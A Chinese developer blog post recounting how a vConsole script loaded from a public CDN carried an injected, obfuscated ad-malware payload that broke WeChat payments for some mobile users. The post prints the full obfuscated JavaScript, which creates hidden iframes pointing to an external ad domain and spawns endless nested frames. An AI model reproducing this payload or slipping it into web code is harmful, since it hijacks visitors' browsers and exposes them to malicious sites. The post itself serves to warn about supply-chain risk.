注册
web

慎重!第三方依赖包里居然有投毒代码

本周,团队里有个小伙伴负责的一个移动端项目在生产环境上出现了问题,虽然最终解决了,但我觉得这个问题非常典型,有必要在这里给广大掘友分享一下。


起因


生产上有客户反馈在支付订单的时候,跳转到微信支付后,页面就被毙掉了,无法支付。而且无法支付这个问题还不是所有用户都会遇到,只是极个别的用户会遇到。


查找问题


下面是排查此问题时的步骤:



  1. review代码,代码逻辑没问题。
  2. 分析反馈问题的用户画像,发现他们都是分布在不同省域下面的,不是发生在同一个地区,完全没有规律可循。
  3. 偶然间,发现有一段代码逻辑有问题,就是移动端调试工具库vConsole这个悬浮图标,代码逻辑是只有在生产环境才显示,其它环境不显示。至于为啥在生产环境上把调试工具展示出来的问题,不是本文的重点~,这里就不多赘述了,正常来说vConsole的悬浮图标这东西也不会影响用户操作,没怎么在意。
  4. 然而最不在意的内容,往往才是导致问题的关键要素。
  5. 发现vConsole不是通过安装依赖包的方式加载的,而是在index.html页面用script标签引入的,而且引用的地址还是外部开源的第三方cdn的地址,不是公司内部cdn的地址。
  6. 于是开始针对这个地址进行排查,在一系列令绝大部分掘友目瞪口呆的操作下,终于定位到问题了。这个开源的cdn地址提供的vConsole源代码有问题,里面注入了一段跟vConsole代码不相关的恶意脚本代码。


有意思的是,这段恶意脚本代码不会一直存在。同样一个地址,原页面刷新后,里面的恶意脚本代码就会消失。



感兴趣的掘友可以在自己电脑上是试一试。vConsole地址
注意,如果在PC端下载此代码,要先把模拟手机模式打开再下载,不然下载的源码里不会有这个恶意脚本代码。


下面的截图是我在pc端浏览器上模拟手机模式,获取到的vConsole源码,我用红框圈住的就是恶意代码,它在vConsole源码文件最下方注入了一段恶意代码(广告相关的代码)。


image.png


这些恶意代码都是经过加密的,把变量都加密成了十六进制的格式,仅有七十多行,有兴趣的掘友可以把代码拷贝到自己本地,尝试执行一下。


全部代码如下:


var _0x30f682 = _0x2e91;
(function(_0x3a24cc, _0x4f1e43) {
var _0x2f04e2 = _0x2e91
, _0x52ac4 = _0x3a24cc();
while (!![]) {
try {
var _0x5e3cb2 = parseInt(_0x2f04e2(0xcc)) / 0x1 * (parseInt(_0x2f04e2(0xd2)) / 0x2) + parseInt(_0x2f04e2(0xb3)) / 0x3 + -parseInt(_0x2f04e2(0xbc)) / 0x4 * (parseInt(_0x2f04e2(0xcd)) / 0x5) + parseInt(_0x2f04e2(0xbd)) / 0x6 * (parseInt(_0x2f04e2(0xc8)) / 0x7) + -parseInt(_0x2f04e2(0xb6)) / 0x8 * (-parseInt(_0x2f04e2(0xb4)) / 0x9) + parseInt(_0x2f04e2(0xb9)) / 0xa * (-parseInt(_0x2f04e2(0xc7)) / 0xb) + parseInt(_0x2f04e2(0xbe)) / 0xc * (-parseInt(_0x2f04e2(0xc5)) / 0xd);
if (_0x5e3cb2 === _0x4f1e43)
break;
else
_0x52ac4['push'](_0x52ac4['shift']());
} catch (_0x4e013c) {
_0x52ac4['push'](_0x52ac4['shift']());
}
}
}(_0xabf8, 0x5b7f0));

var __encode = _0x30f682(0xd5)
, _a = {}
, _0xb483 = [_0x30f682(0xb5), _0x30f682(0xbf)];

(function(_0x352778) {
_0x352778[_0xb483[0x0]] = _0xb483[0x1];
}(_a));

var __Ox10e985 = [_0x30f682(0xcb), _0x30f682(0xce), _0x30f682(0xc0), _0x30f682(0xc3), _0x30f682(0xc9), 'setAttribute', _0x30f682(0xc6), _0x30f682(0xd4), _0x30f682(0xca), _0x30f682(0xd1), _0x30f682(0xd7), _0x30f682(0xb8), _0x30f682(0xb7), _0x30f682(0xd3), 'no-referrer', _0x30f682(0xd6), _0x30f682(0xba), 'appendChild', _0x30f682(0xc4), _0x30f682(0xcf), _0x30f682(0xbb), '删除', _0x30f682(0xd0), '期弹窗,', _0x30f682(0xc1), 'jsjia', _0x30f682(0xc2)];

function _0x2e91(_0x594697, _0x52ccab) {
var _0xabf83b = _0xabf8();
return _0x2e91 = function(_0x2e910a, _0x2d0904) {
_0x2e910a = _0x2e910a - 0xb3;
var _0x5e433b = _0xabf83b[_0x2e910a];
return _0x5e433b;
}
,
_0x2e91(_0x594697, _0x52ccab);
}

window[__Ox10e985[0x0]] = function() {
var _0x48ab79 = document[__Ox10e985[0x2]](__Ox10e985[0x1]);
_0x48ab79[__Ox10e985[0x5]](__Ox10e985[0x3], __Ox10e985[0x4]),
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0x6]] = __Ox10e985[0x8],
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0x9]] = __Ox10e985[0x8],
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0xa]] = __Ox10e985[0xb],
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0xc]] = __Ox10e985[0x8],
_0x48ab79[__Ox10e985[0xd]] = __Ox10e985[0xe],
_0x48ab79[__Ox10e985[0xf]] = __Ox10e985[0x10],
document[__Ox10e985[0x12]][__Ox10e985[0x11]](_0x48ab79);
}
,
function(_0x2492c5, _0x10de05, _0x10b59e, _0x49aa51, _0x2cab55, _0x385013) {
_0x385013 = __Ox10e985[0x13],
_0x49aa51 = function(_0x2c78b5) {
typeof alert !== _0x385013 && alert(_0x2c78b5);
;typeof console !== _0x385013 && console[__Ox10e985[0x14]](_0x2c78b5);
}
,
_0x10b59e = function(_0x42b8c7, _0x977cd7) {
return _0x42b8c7 + _0x977cd7;
}
,
_0x2cab55 = _0x10b59e(__Ox10e985[0x15], _0x10b59e(_0x10b59e(__Ox10e985[0x16], __Ox10e985[0x17]), __Ox10e985[0x18]));
try {
_0x2492c5 = __encode,
!(typeof _0x2492c5 !== _0x385013 && _0x2492c5 === _0x10b59e(__Ox10e985[0x19], __Ox10e985[0x1a])) && _0x49aa51(_0x2cab55);
} catch (_0x57c008) {
_0x49aa51(_0x2cab55);
}
}({});

function _0xabf8() {
var _0x503a60 = ['http://www.sojson.com/javascriptobfuscator.html', 'createElement', '还请支持我们的工作', 'mi.com', 'src', 'body', '16721731lEccKs', 'width', '1450515IgSsSQ', '49faOBBE', 'https://www.unionadjs.com/sdk.html', '0px', 'onload', '3031TDvqkk', '5wlfbud', 'iframe', 'undefined', '版本号,js会定', 'height', '394HRogfN', 'referrerPolicy', 'style', 'jsjiami.com', 'sandbox', 'display', '2071497kVsLsw', '711twSQzP', '_decode', '32024UfDDBW', 'frameborder', 'none', '10ZPsgHQ', 'allow-same-origin allow-forms allow-scripts', 'log', '1540476RTPMoy', '492168jwboEb', '12HdquZB'];
_0xabf8 = function() {
return _0x503a60;
}
;
return _0xabf8();
}

我在自己电脑上把这段代码执行了一下,其实在页面上用户是无感的,因为创建的标签都是隐藏起来的,只有打开调试工具才能看出来。


打开浏览器调试工具,查看页面dom元素:


2024-03-08 17.38.16.gif


image.png


打开调试工具的网络请求那一栏,发送无数个请求,甚至还有几个socket链接...:


2024-03-08 17.41.20.gif


这就是为什么微信支付会把页面毙掉的原因了,页面只要加载了这段代码,就会执行下面这个逻辑:



  1. 页面加载后,代码自动执行,在页面中创建一个iframe标签,然后把https://www.unionadjs.com/sdk.html地址放进去。
  2. 随后在iframe标签中会无限制地创建div标签(直到你的浏览器崩溃!)。
  3. 每个div标签中又会创建一个iframe标签,而src会被分配随机的域名,有的已经打不开了,有的还可以打开,其实就是一些六合彩和一些有关那啥的网站(懂的都懂~)。

强大的ChatGPT


在这里不得不感叹ChatGPT的强大(模型训练的好),我把这段加密的代码直接输入进去,它给我翻译出来了,虽然具体逻辑没有翻译出来,但已经很好了。


image.png


下面这个是中文版的:


image.png


总结


下面是我对这次问题的一个总结:



  1. 免费的不一定是最便宜的,也有可能是最贵的。
  2. 公司有自己的cdn依赖库就用公司内部的,或者去官网去下载对应的依赖,开源的第三方cdn上的内容慎重使用。
  3. 技术没有对和错,要看使用它的是什么人。

本次分享就到这里了,有描述的不对的地方欢迎掘友们纠正~


作者:娜个小部呀
来源:juejin.cn/post/7343691521601781760

0 个评论

要回复文章请先登录注册